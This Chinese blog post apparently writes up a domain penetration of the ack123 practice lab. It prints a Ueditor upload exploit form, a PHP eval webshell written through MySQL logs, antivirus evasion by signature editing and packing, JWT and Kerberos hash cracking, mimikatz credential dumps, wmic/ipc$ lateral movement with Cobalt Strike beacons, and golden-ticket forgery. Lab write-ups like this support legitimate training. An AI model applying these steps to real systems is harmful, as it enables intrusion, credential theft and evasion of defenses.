记一次简单的域渗透实验

hkyl 2021-11-29 10:31:00

0x00 环境搭建

环境搭建.png
简单介绍一下这个靶场------暗月ack123靶场,这算是一个比较新的靶场,有三层网络。本来外网本是nat加frp映射到公网的,但奈何我没有域名备案,上不了外网。只能用桥接模式,把难度降了下来。

必要的准备

第一步:因为这个靶场需要绑定域名,普通ip访问不到。
windows:C:\Windows\System32\drivers\etc\host
linux: /etc/hosts
第二步:这里是前往data1的必经之路,没配就打不下去了。
准备2.png

0x01 外网打点

在攻击之前,我们需要对目标进行收集信息,一般我都是使用masscan+nmap扫描存活主机和端口。dirsearch扫描网站目录
masscan可以快速扫描存在的端口,然后用nmap仔细扫描  
信息收集:
masscan -i eth0 172.18.10.7
nmap -sC -sV -A 172.18.10.7
dirsearch.py -u www.ackmoon.com

web1扫描.png
根据图片,我们可以收集到有用的信息,开放了web和ftp,但是没有开放3306端口,是一个win2012的服务器,然后尝试使用ip:端口网页连接,发现了999端口是phpmyadmin,尝试了密码爆破,没有结果,寻找一下其他的入口。
使用dirsearch扫描www.ackmoon.com的域名
dirsearch.py -u www.ackmoon.com
web1扫描2.png

对200的网站尝试登录,只有http://www.ackmoon.com/admin可以利用。
web1网站1.png

没有sql注入,先注册一个账号吧。
web1网站2.png
登录后发现这个网站是hdhcms,物理路径和数据库都知道了,还有个可以利用的编辑器漏洞Ueditor 1.4.3
上网搜索这个hdhcms是开源的,我们下载源码,搜索我们需要利用的文件。
web1网站3.png

尝试一下能不能够利用。
构造payload:www.ackmoon.com/Admin/net/controller.ashx?action=catchimage
web1网站4.png

可以利用。上传我们的POC

<form action="http://www.ackmoon.com/Admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">   <p>shell addr:<input type="text" name="source[]" /></p >   <input type="submit" value="Submit" />
</form>

使用python -m SimpleHTTPServer 8001开启临时的http。上传一句话木马http://172.18.11.204:8001/1.gif?.aspx
web1网站5.png
得到了上传路径,我们尝试连接蚁剑。
web1网站6.png

上线后第一步,查看自己所获取的权限whoami。一般都是web权限,那么现在要做的就是收集信息提权
目标的进程       ----tasklist(查看有无防护软件)
目标网络            ----ipconfig /all
目标内网主机          ----arp -a(下一步渗透主机)
目标补丁            ----systeminfo(漏洞利用)---->漏洞检测使用msfgetsystempost/multi/recon/local_exploit_suggester模块Windows-Exploit-Suggester检测
查看自启程序          ----wmic startup get caption,command(计划任务可以使用)
查看主机开机时间--net statistics workstation(看一下主机是否长期开机)
无引号提权       ----wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """
查看目录权限      icacls "c:"

web1.png
发现了下一层网段网络存活的主机192.168.22.133、192.168.22.135

把systeninfo导入到system.txt用Windows-Exploit-Suggester检测一下可以利用的漏洞
web1-漏洞.png
发现常用漏洞ms16-075(烂土豆)、ms15-051提权的时候可以使用。看到烂土豆就查看Selmpersonate权限或者SeAssignPrimaryToken权限是否启动。
web1-6.png
可以使用,提权方法已经找到了,我们看看是否存在防护软件。
web1-1.png

发现了360全家桶和护卫神,需要做一下免杀。

免杀分享

刚开始做免杀,发现自己没有地方下手,网上搜索的大多都是代码和原理,而代码大多都是已经被加上特征值,这对于我这个刚接触免杀的小萌新极其不友好=,=
这个时候需要学习一下免杀的手段

低级:修改入口点、加壳伪装、加密,修改特征码
高级:代码混淆,远程下载代码,加花

最近还学了一个msf的python版本,现在依然能够免杀。可惜,目标环境并没有python环境。ps:如果使用visual studio进行代码加工需要注意的地方(原因是加工成exe文件,在其他主机使用会出现丢失dll)
web1-2.png
作为一名刚刚接触免杀的小萌新,我觉得很有必要学习一下以前的工具,我主要介绍一下我免杀时用到的方法修改特征码和加壳,使用的也是很老的工具myccl、c32asm、upx。 ps:别看工具老,很实用!!!
web1-3.png
定位后可以到c32asm的16进制模式定位区间:ctrl+G
web1-4.png
加壳就简单了,直接丢进去就完事了。做到这里360、火绒这种日常杀软都可以免杀通过,附带我的一个cs通过表示庆祝。
web1-5.png

回到正文

开始我们正式的提权之路。
我一开始使用msf的getsystem和post/multi/recon/local_exploit_suggester模块并没有发现可以提权的漏洞???不是有烂土豆和ms15-051吗,可能是存在360。然后又尝试了Windows-Exploit-Suggester检测到的漏洞,从github下载的也使用不了。又查看了无引号服务也没有发现可以提权的点。最后通过蚁剑上传cs码,使用resbus插件的烂土豆模块提权成功了,真是一波三折,不过还是提权了。
web1-7.png
web1-8.png

0x02 横向渗透

拿下了web1,我们需要对data1进行攻击,根据提示,它是一个站库分离的考点,那么我们先对data1的端口进行扫描
web2-扫描.png

这应该是一个mssql服务器,web1是网页,data1是数据库,实现了站库分离,也是这个靶场的考点之一。现在就是要找到登录数据库的方法。web1的数据需要存放,那么只要找到hdhcms的数据库配置就能找到data1的账号和密码。
因此就有了之前修改HdhApp.config,不然就做不下去了
web2-数据库.png

账号:sa 密码:pass123@.com
因为navicat上传文件有点困难,我就借助一下大马来进行操作了/滑稽 ps:等结束后学习一下写大马的思路。说不定可以学到不一样的东西。
连接到大马,查看有无防护软件
web2-1.png

发现了火绒,做一下免杀,直接用cs上线。上传文件到c:\users\public。然后执行,然后systeminfo找可以利用的漏洞,这里就不放图了,和web1的操作一样,拿下data1的system权限。直接拿下data1。
web2-2.png

好了打到现在已经不需要web1主机了,我们给它关闭了把,主要是我的内存不够用了,我怕我做着做着就卡死了。/滑稽
我们开始打另一个存活的主机web2,因为我们访问不到192.168.22.0网段,所以我们需要开启代理模式,这里我使用的是ew。因为我没有使用frp,所以我可以直接访问到data1服务器,所以我们在data1服务器可以直接使用正向sock代理ew_for_win.exe -s ssocksd -l 1080
web2-代理.png
然后后在sudo vim /etc/proxychians4.conf里添加socks5 172.18.12.235 1080就可以使用了。

准备工作做完,我们开始对web2进行信息收集,不知道为什么masscan扫描出来的端口只有80,8080。因此我们使用nmap尝试扫描最常用的一些端口80,135,445,8080,3389。记得要加上proxychians代理哦~
web2-4.png
好像没有什么可以利用的地方,我们先登录一下网站把。
web2-网站.png
好像放了个海哦,给了提示使用JWT实战:axios+PHP实现登录认证,但是我们也可以使用dirsearch扫描一下该网站的目录。
web2-扫描目录.png
得了,这还看个鬼,看了一遍眼睛都要花了。尝试一下提示的漏洞吧。上网搜了一下jwt的漏洞利用---->传送门
根据poc,找到token
web2-token.png
这里应该是爆破HMAC密钥,跟着使用hashcat。
payload:hashcat -m 16500 jwt.txt -a 0 rockyou.txt -o s.txt ps:rockyou.txt应该是比较全的字典了,反正在wordlists上找到的。
web2-hash爆破.png

没想到竟然爆破出了Qweasdzxc5,而且我都不知道这个东西是什么有什么用=。=跟着教程走,发现并没有什么卵用。
做到这里已经没有什么思路了,这个JWT没怎么遇到过,所以我直接懵逼啦,只能看看wp了。

原来是Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02的问题,之前看过类似的文章,但是到实战的时候,好像就当这东西不存在了,基本没有注意到。并且这个竟然是phpmyadmin的密码,这是我万万没有想到的。还是自己接触的知识不够多。

再者还有一种方法是构造admin用户签名后的jwt。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJhdWQiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJpYXQiOjE2MzE5MjYzNzIsIm5iZiI6MTYzMTkyNjM4MiwiZXhwIjoxNjMxOTI2OTcyLCJkYXRhIjp7InVzZXJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9fQ.R8v4SX2Fcu-zZjiPw6esGskfTDbqyZ4WEmFuNWksPkg

反思:这是window系统,搭建使用apache就非常的可疑,使用的是phpstudy。但是如何知道是什么版本的呢?
我认为噢,知道它是phpstudy,可以通过bp把版本爆破出来,当然,这属于马后炮了。这也算是一个下下策吧,我也想不出有什么好办法。到后面发现,只有最新版的小皮的管理界面是带版本的。phpstudy2018并不需要。

那么登录phpmyadmin后就是套路了。

找到绝对路径
查看有没有写入权限---->没有就使用日志写入

show global variables like '%secure_file_priv%';看查有无直接写入权限,发现并没有,直接查找日志。
web2-p1.png
show global variables like "%genera%";查看日志文件情况
web2-p2.png

直接开启日志,因为它是phpstudy嘛,很轻松就可以构造出它的网站根目录地址
开启日志记录
set global general_log='on';

日志文件导出指定目录(一般导入网站根目录)
set global general_log_file='C:\\phpstudy_pro\\WWW\\c0nfig.php';    #这里是window,\会被过滤,需要\\

记录sql语句写马,演示一下,没有安全狗,直接传原马
select '<?php @eval($_POST["cmd"]); ?>';

修改回原来的路径             #这里显示不全就不改了,正常来说应该消除痕迹的
set global general_log_file='修改';

关闭记录
set global general_log=off;

用蚁剑连接,先看看权限,在看有无杀毒软件。
web2-p3.png
发现直接是system权限,就无需再提权了,并且没有找到杀软,可以直接上传我们的cs。

这里说一下,因为内网网段不能直接访问我们,所以我们需要使用正向连接,用无状态window木马或者使用反向连接到data1主机上好处:规避防火墙
web2-p4.png
在蚁剑执行cs木马后,在data1的会话中执行connect 192.168.22.135 6669,等待web2主机上线。

接下来,就是信息收集了,说说我自己收集的思路吧。
ipconfig /all               ----->判断是否有主域,
nltest /domain_trusts           ----->查看是否有林域
net group "domain controllers" /domain  ----->查看主域是哪一台服务器
net time /domain            ----->快速定位域控ip,一般是dns、时间服务器:----ping 

net group "domaincontrollers" /domain   ----->查看域控制器
net user /domain                ----->查看域内的组成员
net group "domain admins" /domain   ----->查看域内的管理员
net accounts /domain            ----->获取域密码强度信息

内网主机
    net view            ----->查看共享资料
        arp -a              ----->arp路由表
         ipconfig  /displaydns      ----->dns缓存


凭据收集
    logonpasswords          ----->cs模块mimikatz获取信息
    mimikatz kerberos::list /export ----->github上的kerberos
        寻找域控管理员的账号      ----->python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 1-40a10000-web2@mysql\~16server-dc1.ack123.com-ACK123.COM.kirbi

web2-p5.png
ipconfig /all 发现了域ack123.com和新的网段10.10.10.0
找出主域控。
web2-p6.png
找存活主机
web2-p7.png

寻找主域凭证
方法一:爆破krbtgt,导入到kali,用github的kerberoast中的tgsrepcrack.py爆破,构造:python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 1-40a10000-web2@mysql\~16server-dc1.ack123.com-ACK123.COM.kirbi
web2-p8.png
得到了主域的管理员账号administratorP@55w0rd!有了账号和密码,我们可以使用cs的psexec或者ipc$上传payload后执行。
web2-p9.png

方法二:找到administrator的NTML(hash)值mimikatz sekurlsa::logonpasswords
x-5.png
在md5网站尝试爆破
x-4.png

信息收集
:ack123.com
主域:10.10.10.135
存活主机:10.10.10.136

主域管理员账号:administrator    P@55w0rd!

凭证信息
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:b78ee36a79ed9763b66519f86825a6bd
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    moonsec:1001:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387

方法一:pexecs
这里需要新建一个监听器,让域内的主机可以访问到我们的受害机,这样在转发信息到我们的服务器。
web2-p10.png

方法二:ipc$上传文件并执行

                net use \\10.10.10.136\ipc$ /user:administrator "P@55w0rd!"
上传cs木马: copy c:\users\public\beacon2.exe \\10.10.10.136\c$\users\public\beacon2.exe
执行命令:   wmic /node:10.10.10.136 /user:ack123\administrator /password:P@55w0rd! process call create "c:\users\public\beacon2.exe"

web2-p11.png
做到这里基本都拿下来,但是我感觉还是不够,在《内网安全攻防:渗透测试指南》这本书中还有一些没有使用出来的操作,这里也一并使用一下。毕竟不是每次都能成功爆破出主域管理员的密码,你们说对吧。

先是利用MS14-068来将用户的权限提升到域管权限
检查是否有提权漏洞,其补丁为 3011780,我们执行命令: systeminfo |find "3011780",如果返回为空就说明没有打补丁,存在MS14-068漏洞。
MS14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址

添加一个域管用户aaa:
net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain 
构造黄金票据
伪造金票的所需条件:
1、域名称
2、krbtgt的SID值
3、域的KRBTGT账号的Hash
4、伪造任意用户名域的名称我们已经知道,需要的用户名也是任意伪造一个就行,下面我们的目的就是拿到krbtgt的NTLM Hash和SID。

web2-p12.png
x-1.png

administrator   
    sid      :S-1-5-21-2015848930-1301831522-615504165
        NTLM     : bc23a1506bd3c8d3a533680c516bab27
    SHA1     : 92bba0d597b5558b58db8e7a2167c9f9e04f1413
    DPAPI    : 771a067e3346d70181772f8b634ef03e
krbtgt
    hash     :fb979da43f63a991f8f5599add59e01c

x-2.png

可以看到黄金票据已经创建成功了。
使用方法:
x-3.png

0x03 总结

流程
1.通过Ueditor 1.4.3漏洞获取webshell权限
2.通过cs的erebus插件的烂土豆提权至system
3.通过web1获取data1的mssql数据库账号密码,并用大马上传cs马提权。
4.通过JWT漏洞获取phpmyadmin的密码,通过phpmyadmin管理界面写webshell一句话并上传cs
5.通过爆破主域管理员账号administrator的hash密码,进行pesecs或ipc$横向获取主机

总体做下来还是十分有挑战性的,没开始做之前没想到中间的挫折会有这么多,当真正实战才发现会有许多的技巧点。边缘打点我感觉更多是靠知识的积累,内网更多是看如何快速拿下域控并且不被发现。

评论

W

which 2021-11-30 10:43:27

赞赞

D

Desperado 2021-12-01 10:14:44

6

misift_Zero 2021-12-01 18:35:59

god of red team

蚁景网安实验室 2021-12-02 15:41:41

666~

手持干脆面 2022-01-12 10:50:38

棒棒

H

hkyl

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

Exploit 文章:40 篇
PHP安全 文章:45 篇
浏览器安全 文章:36 篇
MongoDB安全 文章:3 篇
CTF 文章:62 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录